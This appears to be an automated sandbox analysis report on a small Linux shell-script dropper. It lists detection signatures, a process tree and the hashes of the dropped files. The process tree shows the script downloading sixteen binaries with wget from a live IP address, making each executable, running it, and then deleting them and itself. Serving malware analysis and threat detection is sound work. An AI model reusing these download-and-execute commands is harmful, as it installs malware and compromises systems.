Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/07/2026, 01:53

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260702-ca6dtsay9v
  • SHA256 6d08e6b1345dad62816b4612f92b0689eb937339ef04480ffe02bf58a28e8a70
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/rm
      rm BFPR
      2⤵
        PID:643
      • /usr/bin/wget
        wget http://202.155.8.56/BFPR
        2⤵
        • Writes file to tmp directory
        PID:646
      • /bin/chmod
        chmod +x BFPR
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/BFPR
        ./BFPR
        2⤵
        • OS Credential Dumping
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:747
        • /usr/local/sbin/uname
          uname -a
          3⤵
            PID:751
          • /usr/local/bin/uname
            uname -a
            3⤵
              PID:751
            • /usr/sbin/uname
              uname -a
              3⤵
                PID:751
              • /usr/bin/uname
                uname -a
                3⤵
                  PID:751
                • /sbin/uname
                  uname -a
                  3⤵
                    PID:751
                  • /bin/uname
                    uname -a
                    3⤵
                      PID:751
                  • /bin/rm
                    rm MIUH
                    2⤵
                      PID:749
                    • /usr/bin/wget
                      wget http://202.155.8.56/MIUH
                      2⤵
                      • Writes file to tmp directory
                      PID:750
                    • /bin/chmod
                      chmod +x MIUH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:752
                    • /tmp/MIUH
                      ./MIUH
                      2⤵
                        PID:753
                      • /bin/rm
                        rm WGOB
                        2⤵
                          PID:755
                        • /usr/bin/wget
                          wget http://202.155.8.56/WGOB
                          2⤵
                          • Writes file to tmp directory
                          PID:756
                        • /bin/chmod
                          chmod +x WGOB
                          2⤵
                          • File and Directory Permissions Modification
                          PID:757
                        • /tmp/WGOB
                          ./WGOB
                          2⤵
                            PID:758
                          • /bin/rm
                            rm ZCKS
                            2⤵
                              PID:760
                            • /usr/bin/wget
                              wget http://202.155.8.56/ZCKS
                              2⤵
                              • Writes file to tmp directory
                              PID:761
                            • /bin/chmod
                              chmod +x ZCKS
                              2⤵
                              • File and Directory Permissions Modification
                              PID:762
                            • /tmp/ZCKS
                              ./ZCKS
                              2⤵
                              • Writes file to tmp directory
                              PID:763
                            • /bin/rm
                              rm QBLW
                              2⤵
                                PID:765
                              • /usr/bin/wget
                                wget http://202.155.8.56/QBLW
                                2⤵
                                • Writes file to tmp directory
                                PID:766
                              • /bin/chmod
                                chmod +x QBLW
                                2⤵
                                • File and Directory Permissions Modification
                                PID:769
                              • /tmp/QBLW
                                ./QBLW
                                2⤵
                                  PID:770
                                • /bin/rm
                                  rm TKAW
                                  2⤵
                                    PID:772
                                  • /usr/bin/wget
                                    wget http://202.155.8.56/TKAW
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:773
                                  • /bin/chmod
                                    chmod +x TKAW
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:774
                                  • /tmp/TKAW
                                    ./TKAW
                                    2⤵
                                      PID:775
                                    • /bin/rm
                                      rm MGRR
                                      2⤵
                                        PID:777
                                      • /usr/bin/wget
                                        wget http://202.155.8.56/MGRR
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:778
                                      • /bin/chmod
                                        chmod +x MGRR
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:779
                                      • /tmp/MGRR
                                        ./MGRR
                                        2⤵
                                          PID:780
                                        • /bin/rm
                                          rm TWTT
                                          2⤵
                                            PID:782
                                          • /usr/bin/wget
                                            wget http://202.155.8.56/TWTT
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:783
                                          • /bin/chmod
                                            chmod +x TWTT
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:784
                                          • /tmp/TWTT
                                            ./TWTT
                                            2⤵
                                              PID:785
                                            • /bin/rm
                                              rm GHDS
                                              2⤵
                                                PID:787
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/GHDS
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:788
                                              • /bin/chmod
                                                chmod +x GHDS
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:789
                                              • /tmp/GHDS
                                                ./GHDS
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:790
                                              • /bin/rm
                                                rm QDCL
                                                2⤵
                                                  PID:792
                                                • /usr/bin/wget
                                                  wget http://202.155.8.56/QDCL
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:793
                                                • /bin/chmod
                                                  chmod +x QDCL
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:799
                                                • /tmp/QDCL
                                                  ./QDCL
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:800
                                                • /bin/rm
                                                  rm OOLH
                                                  2⤵
                                                    PID:802
                                                  • /usr/bin/wget
                                                    wget http://202.155.8.56/OOLH
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:803
                                                  • /bin/chmod
                                                    chmod +x OOLH
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:806
                                                  • /tmp/OOLH
                                                    ./OOLH
                                                    2⤵
                                                      PID:807
                                                    • /bin/rm
                                                      rm AAFA
                                                      2⤵
                                                        PID:809
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/AAFA
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:810
                                                      • /bin/chmod
                                                        chmod +x AAFA
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:811
                                                      • /tmp/AAFA
                                                        ./AAFA
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:812
                                                      • /bin/rm
                                                        rm SJZR
                                                        2⤵
                                                          PID:814
                                                        • /usr/bin/wget
                                                          wget http://202.155.8.56/SJZR
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:815
                                                        • /bin/chmod
                                                          chmod +x SJZR
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:816
                                                        • /tmp/SJZR
                                                          ./SJZR
                                                          2⤵
                                                            PID:817
                                                          • /bin/rm
                                                            rm FJIW
                                                            2⤵
                                                              PID:819
                                                            • /usr/bin/wget
                                                              wget http://202.155.8.56/FJIW
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:820
                                                            • /bin/chmod
                                                              chmod +x FJIW
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:821
                                                            • /tmp/FJIW
                                                              ./FJIW
                                                              2⤵
                                                                PID:822
                                                              • /bin/rm
                                                                rm QFSX
                                                                2⤵
                                                                  PID:824
                                                                • /usr/bin/wget
                                                                  wget http://202.155.8.56/QFSX
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:825
                                                                • /bin/chmod
                                                                  chmod +x QFSX
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:826
                                                                • /tmp/QFSX
                                                                  ./QFSX
                                                                  2⤵
                                                                    PID:827
                                                                  • /bin/rm
                                                                    rm FOIB
                                                                    2⤵
                                                                      PID:829
                                                                    • /usr/bin/wget
                                                                      wget http://202.155.8.56/FOIB
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:830
                                                                    • /bin/chmod
                                                                      chmod +x FOIB
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:833
                                                                    • /tmp/FOIB
                                                                      ./FOIB
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:834
                                                                    • /bin/rm
                                                                      rm -rf BFPR
                                                                      2⤵
                                                                        PID:836
                                                                      • /bin/rm
                                                                        rm -rf MIUH
                                                                        2⤵
                                                                          PID:837
                                                                        • /bin/rm
                                                                          rm -rf WGOB
                                                                          2⤵
                                                                            PID:838
                                                                          • /bin/rm
                                                                            rm -rf ZCKS
                                                                            2⤵
                                                                              PID:839
                                                                            • /bin/rm
                                                                              rm -rf QBLW
                                                                              2⤵
                                                                                PID:840
                                                                              • /bin/rm
                                                                                rm -rf TKAW
                                                                                2⤵
                                                                                  PID:841
                                                                                • /bin/rm
                                                                                  rm -rf MGRR
                                                                                  2⤵
                                                                                    PID:842
                                                                                  • /bin/rm
                                                                                    rm -rf TWTT
                                                                                    2⤵
                                                                                      PID:843
                                                                                    • /bin/rm
                                                                                      rm -rf GHDS
                                                                                      2⤵
                                                                                        PID:844
                                                                                      • /bin/rm
                                                                                        rm -rf QDCL
                                                                                        2⤵
                                                                                          PID:845
                                                                                        • /bin/rm
                                                                                          rm -rf OOLH
                                                                                          2⤵
                                                                                            PID:846
                                                                                          • /bin/rm
                                                                                            rm -rf AAFA
                                                                                            2⤵
                                                                                              PID:847
                                                                                            • /bin/rm
                                                                                              rm -rf SJZR
                                                                                              2⤵
                                                                                                PID:848
                                                                                              • /bin/rm
                                                                                                rm -rf FJIW
                                                                                                2⤵
                                                                                                  PID:849
                                                                                                • /bin/rm
                                                                                                  rm -rf QFSX
                                                                                                  2⤵
                                                                                                    PID:850
                                                                                                  • /bin/rm
                                                                                                    rm -rf FOIB
                                                                                                    2⤵
                                                                                                      PID:851
                                                                                                    • /bin/rm
                                                                                                      rm /tmp/WSW0.sh
                                                                                                      2⤵
                                                                                                        PID:852

                                                                                                    Network

                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          .zwxGXIla

                                                                                                          • Path /tmp/.zwxGXIla
                                                                                                          • Size 18B
                                                                                                          • SHA256 317afd1ea7ffafc35a420e5e428ea128d80341c5a855d20f09b09ee0afe22e75
                                                                                                          • MD5 SHA1 SHA512

                                                                                                          AAFA

                                                                                                          • Path /tmp/AAFA
                                                                                                          • Size 121KB
                                                                                                          • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          BFPR

                                                                                                          • Path /tmp/BFPR
                                                                                                          • Size 125KB
                                                                                                          • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          FJIW

                                                                                                          • Path /tmp/FJIW
                                                                                                          • Size 193KB
                                                                                                          • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          FOIB

                                                                                                          • Path /tmp/FOIB
                                                                                                          • Size 126KB
                                                                                                          • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          GHDS

                                                                                                          • Path /tmp/GHDS
                                                                                                          • Size 86KB
                                                                                                          • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          MGRR

                                                                                                          • Path /tmp/MGRR
                                                                                                          • Size 154KB
                                                                                                          • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          MIUH

                                                                                                          • Path /tmp/MIUH
                                                                                                          • Size 200KB
                                                                                                          • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          OOLH

                                                                                                          • Path /tmp/OOLH
                                                                                                          • Size 193KB
                                                                                                          • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QBLW

                                                                                                          • Path /tmp/QBLW
                                                                                                          • Size 105KB
                                                                                                          • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QDCL

                                                                                                          • Path /tmp/QDCL
                                                                                                          • Size 125KB
                                                                                                          • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QFSX

                                                                                                          • Path /tmp/QFSX
                                                                                                          • Size 125KB
                                                                                                          • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          SJZR

                                                                                                          • Path /tmp/SJZR
                                                                                                          • Size 167KB
                                                                                                          • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          TKAW

                                                                                                          • Path /tmp/TKAW
                                                                                                          • Size 105KB
                                                                                                          • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          TWTT

                                                                                                          • Path /tmp/TWTT
                                                                                                          • Size 129KB
                                                                                                          • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          WGOB

                                                                                                          • Path /tmp/WGOB
                                                                                                          • Size 109KB
                                                                                                          • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          ZCKS

                                                                                                          • Path /tmp/ZCKS
                                                                                                          • Size 129KB
                                                                                                          • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH